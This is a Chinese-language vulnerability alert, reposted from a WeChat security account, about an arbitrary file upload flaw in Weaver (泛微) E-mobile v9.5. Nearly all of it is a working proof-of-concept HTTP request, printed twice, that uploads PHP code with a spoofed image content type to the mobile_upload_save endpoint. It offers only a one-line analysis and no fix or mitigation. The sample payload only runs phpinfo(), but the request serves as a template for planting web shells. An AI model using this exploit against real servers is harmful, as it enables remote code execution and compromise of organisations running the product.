【漏洞预警】泛微E-mobile v9.5任意文件上传漏洞
2023-5-26 15:6:38 Author: 利刃信安攻防实验室(查看原文) 阅读量:237 收藏

泛微E-mobile v9.5任意文件上传漏洞

POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1Host: xx:8088Content-Length: 338Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6ttUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7Connection: close
------WebKitFormBoundarydRVCGWq4Cx3Sq6ttContent-Disposition: form-data; name="upload_quwan"; filename="[email protected]"Content-Type: image/jpeg
<?php phpinfo();?>------WebKitFormBoundarydRVCGWq4Cx3Sq6ttContent-Disposition: form-data; name="file"; filename=""Content-Type: application/octet-stream

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--

漏洞分析

泛微E-mobile v9.5存在任意文件上传漏洞

官网:

https://www.weaver.com.cn/new/product/emobile/

概念验证

POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save  HTTP/1.1
Host: xx:8088
Content-Length: 338
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="upload_quwan"; filename="[email protected]"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--

确认


文章来源: http://mp.weixin.qq.com/s?__biz=MzU1Mjk3MDY1OA==&mid=2247504166&idx=3&sn=a99ed4a8dcfbeb45fe02909622450cf0&chksm=fbfb61ebcc8ce8fd447ec8364a548c8b8dd28cbd1ef98935ac0b1019b7e0ff30d0013efbaeeb#rd
如有侵权请联系:admin#unsafe.sh